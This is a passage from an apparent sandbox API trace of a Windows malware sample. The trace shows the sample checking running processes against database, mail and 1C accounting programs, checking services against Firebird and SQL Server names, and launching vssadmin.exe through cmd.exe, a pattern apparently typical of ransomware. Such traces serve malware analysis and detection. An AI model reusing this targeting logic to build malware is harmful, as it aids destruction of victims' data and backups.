lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0129.775] lstrlenW (lpString="wininit.exe") returned 11 [0129.775] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0129.775] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0129.775] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0129.775] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0129.775] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0129.775] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0129.775] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0129.775] Process32NextW (in: hSnapshot=0x300, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0129.775] lstrlenW (lpString="csrss.exe") returned 9 [0129.775] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0129.776] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0129.776] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0129.776] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0129.776] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0129.776] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0129.776] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0129.776] Process32NextW (in: hSnapshot=0x300, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0129.776] lstrlenW (lpString="winlogon.exe") returned 12 [0129.776] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0129.776] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0129.776] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0129.776] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0129.776] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0129.776] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0129.776] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0129.776] Process32NextW (in: hSnapshot=0x300, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0129.777] lstrlenW (lpString="services.exe") returned 12 [0129.777] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0129.777] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0129.777] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0129.777] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0129.777] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0129.777] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0129.777] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0129.777] Process32NextW (in: hSnapshot=0x300, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0129.777] lstrlenW (lpString="lsass.exe") returned 9 [0129.777] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0129.777] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0129.777] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0129.777] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0129.777] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0129.777] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0129.777] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0129.777] Process32NextW (in: hSnapshot=0x300, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0129.778] lstrlenW (lpString="lsm.exe") returned 7 [0129.778] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0129.778] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0129.778] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0129.778] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0129.778] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0129.778] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0129.778] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0129.778] Process32NextW (in: hSnapshot=0x300, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.778] lstrlenW (lpString="svchost.exe") returned 11 [0129.778] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0129.778] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0129.778] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0129.778] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0129.778] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0129.778] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0129.779] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0129.779] Process32NextW (in: hSnapshot=0x300, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.779] lstrlenW (lpString="svchost.exe") returned 11 [0129.779] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0129.779] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0129.779] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0129.779] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0129.779] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0129.779] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0129.779] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0129.779] Process32NextW (in: hSnapshot=0x300, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.779] lstrlenW (lpString="svchost.exe") returned 11 [0129.779] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0129.779] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0129.779] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0129.780] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0129.780] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0129.780] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0129.780] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0129.780] Process32NextW (in: hSnapshot=0x300, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.780] lstrlenW (lpString="svchost.exe") returned 11 [0129.780] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0129.780] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0129.780] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0129.780] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0129.780] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0129.780] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0129.780] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0129.780] Process32NextW (in: hSnapshot=0x300, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.780] lstrlenW (lpString="svchost.exe") returned 11 [0129.781] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0129.781] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0129.781] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0129.781] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0129.781] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0129.781] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0129.781] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0129.781] Process32NextW (in: hSnapshot=0x300, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0129.781] lstrlenW (lpString="audiodg.exe") returned 11 [0129.781] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0129.781] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0129.781] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0129.781] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0129.781] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0129.781] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0129.781] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0129.781] Process32NextW (in: hSnapshot=0x300, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.782] lstrlenW (lpString="svchost.exe") returned 11 [0129.782] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0129.782] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0129.782] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0129.782] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0129.782] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0129.782] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0129.782] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0129.782] Process32NextW (in: hSnapshot=0x300, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0129.782] lstrlenW (lpString="userinit.exe") returned 12 [0129.782] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0129.782] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0129.782] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1 [0129.782] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1 [0129.783] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1 [0129.783] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1 [0129.783] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1 [0129.783] Process32NextW (in: hSnapshot=0x300, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0129.783] lstrlenW (lpString="explorer.exe") returned 12 [0129.783] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1 [0129.783] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1 [0129.783] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1 [0129.783] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1 [0129.783] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1 [0129.783] Process32NextW (in: hSnapshot=0x300, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0129.784] lstrlenW (lpString="dwm.exe") returned 7 [0129.784] Process32NextW (in: hSnapshot=0x300, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.784] lstrlenW (lpString="svchost.exe") returned 11 [0129.784] Process32NextW (in: hSnapshot=0x300, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0129.784] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0129.784] Process32NextW (in: hSnapshot=0x300, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0129.785] lstrlenW (lpString="spoolsv.exe") returned 11 [0129.785] Process32NextW (in: hSnapshot=0x300, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0129.785] lstrlenW (lpString="cmd.exe") returned 7 [0129.785] Process32NextW (in: hSnapshot=0x300, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0129.785] lstrlenW (lpString="dllhost.exe") returned 11 [0129.785] Process32NextW (in: hSnapshot=0x300, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0129.786] lstrlenW (lpString="conhost.exe") returned 11 [0129.786] Process32NextW (in: hSnapshot=0x300, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0129.786] lstrlenW (lpString="reader_sl.exe") returned 13 [0129.786] Process32NextW (in: hSnapshot=0x300, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.786] lstrlenW (lpString="svchost.exe") returned 11 [0129.786] Process32NextW (in: hSnapshot=0x300, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0129.787] lstrlenW (lpString="taskhost.exe") returned 12 [0129.787] Process32NextW (in: hSnapshot=0x300, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x538, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0129.787] lstrlenW (lpString="vssadmin.exe") returned 12 [0129.787] Process32NextW (in: hSnapshot=0x300, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x538, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0129.787] CloseHandle (hObject=0x300) returned 1 [0129.787] Sleep (dwMilliseconds=0x1f4) [0130.549] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3aa8ab0 [0130.723] EnumServicesStatusExW (in: hSCManager=0x3aa8ab0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0130.729] GetLastError () returned 0xea [0130.729] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa08) returned 0x428e0b8 [0130.729] EnumServicesStatusExW (in: hSCManager=0x3aa8ab0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x428e0b8, cbBufSize=0xa08, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x428e0b8, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0130.729] CloseServiceHandle (hSCObject=0x3aa8ab0) returned 1 [0130.730] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0130.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0130.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0130.730] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0130.730] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0130.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0130.730] lstrlenW (lpString="AudioSrv") returned 8 [0130.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0130.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0130.730] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0130.730] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0130.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0130.730] lstrlenW (lpString="BFE") returned 3 [0130.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0130.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0130.730] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0130.730] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0130.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0130.730] lstrlenW (lpString="CscService") returned 10 [0130.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0130.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0130.730] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0130.730] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0130.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0130.730] lstrlenW (lpString="DcomLaunch") returned 10 [0130.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0130.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0130.730] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0130.730] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0130.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0130.730] lstrlenW (lpString="Dhcp") returned 4 [0130.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0130.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0130.730] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0130.731] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0130.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0130.731] lstrlenW (lpString="Dnscache") returned 8 [0130.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0130.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0130.731] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0130.731] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0130.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0130.731] lstrlenW (lpString="eventlog") returned 8 [0130.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0130.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0130.731] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0130.731] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0130.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0130.731] lstrlenW (lpString="EventSystem") returned 11 [0130.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0130.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0130.731] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0130.731] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0130.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0130.731] lstrlenW (lpString="gpsvc") returned 5 [0130.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0130.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0130.731] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0130.731] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0130.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0130.731] lstrlenW (lpString="lmhosts") returned 7 [0130.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0130.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0130.731] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0130.731] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0130.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0130.731] lstrlenW (lpString="MMCSS") returned 5 [0130.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0130.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0130.731] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0130.731] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0130.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0130.732] lstrlenW (lpString="nsi") returned 3 [0130.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0130.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0130.732] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0130.732] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0130.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0130.732] lstrlenW (lpString="PlugPlay") returned 8 [0130.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0130.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0130.732] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0130.732] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0130.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0130.732] lstrlenW (lpString="Power") returned 5 [0130.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0130.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0130.732] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0130.732] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0130.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0130.732] lstrlenW (lpString="ProfSvc") returned 7 [0130.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0130.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0130.732] lstrcmpiW 